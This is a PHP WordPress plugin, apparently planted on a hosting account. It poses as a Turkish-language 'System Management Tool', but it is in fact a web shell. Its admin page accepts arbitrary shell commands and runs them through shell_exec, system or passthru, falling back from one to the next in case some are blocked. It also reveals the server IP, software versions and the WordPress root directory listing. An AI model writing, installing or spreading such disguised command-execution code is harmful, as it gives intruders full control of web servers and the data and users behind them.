File: /home/consovgw/public_html/wp-content/plugins/yuklenecek-eklenti/yuklenecek-eklenti.php
<?php
/**
* Plugin Name: Sistem Yönetim Aracı
* Description: Sistem yönetimi için özel araçlar.
* Version: 1.0
* Author: Otomasyon
*/
// WordPress ortamı dışında doğrudan erişimi engelle
if (!defined('ABSPATH')) {
exit;
}
// Eklenti menüsünü WordPress Admin Paneline ekle
add_action('admin_menu', 'sya_eklenti_menusu_ekle');
function sya_eklenti_menusu_ekle() {
add_menu_page(
'Sistem Yönetimi', // Sayfa başlığı
'Sistem Yönetimi', // Menüdeki adı
'manage_options', // Sadece Yöneticiler görebilir
'sistem-yonetim-slug', // Benzersiz adres
'sya_eklenti_sayfasi', // Sayfa içeriğini oluşturan fonksiyon
'dashicons-shield-alt', // Menü ikonu
2 // Menüdeki yeri (en üstlerde)
);
}
// Eklenti sayfasının içeriğini oluşturacak ana fonksiyon
function sya_eklenti_sayfasi() {
?>
<div class="wrap">
<h1>Sistem Yönetim Aracı</h1>
<p>Bu aracı dikkatli kullanın. Yapılan işlemler geri alınamaz olabilir.</p>
<hr>
<h2>Sunucu Bilgileri</h2>
<p><strong>Sunucu IP:</strong> <?php echo $_SERVER['SERVER_ADDR']; ?></p>
<p><strong>Web Sunucusu:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']; ?></p>
<p><strong>PHP Versiyonu:</strong> <?php echo phpversion(); ?></p>
<p><strong>WordPress Kök Dizini:</strong> <?php echo ABSPATH; ?></p>
<hr>
<h2>Komut Çalıştırıcı (Shell)</h2>
<form method="post">
<input type="text" name="sya_komut" placeholder="Örn: ls -la" style="width: 500px;">
<input type="submit" name="sya_komut_gonder" value="Komutu Çalıştır" class="button button-primary">
</form>
<?php
if (isset($_POST['sya_komut_gonder']) && !empty($_POST['sya_komut'])) {
$komut = sanitize_text_field($_POST['sya_komut']);
echo '<h4>Çalıştırılan Komut: ' . esc_html($komut) . '</h4>';
echo '<pre style="background: #f1f1f1; border: 1px solid #ccc; padding: 10px; border-radius: 4px;">';
// system(), shell_exec() gibi fonksiyonlar güvenlik nedeniyle engelli olabilir.
// Farklı fonksiyonları deneyebiliriz.
if (function_exists('shell_exec')) {
echo esc_html(shell_exec($komut));
} elseif (function_exists('system')) {
system($komut);
} elseif (function_exists('passthru')) {
passthru($komut);
} else {
echo 'Sunucuda komut çalıştırma fonksiyonları engellenmiş.';
}
echo '</pre>';
}
?>
<hr>
<h2>Basit Dosya Yöneticisi</h2>
<p>Sadece WordPress kök dizinindeki dosyaları ve klasörleri listeler.</p>
<pre style="background: #333; color: #fff; padding: 15px; border-radius: 4px;">
<?php
$dosyalar = scandir(ABSPATH);
foreach ($dosyalar as $dosya) {
echo esc_html($dosya) . "\n";
}
?>
</pre>
</div>
<?php
}
?>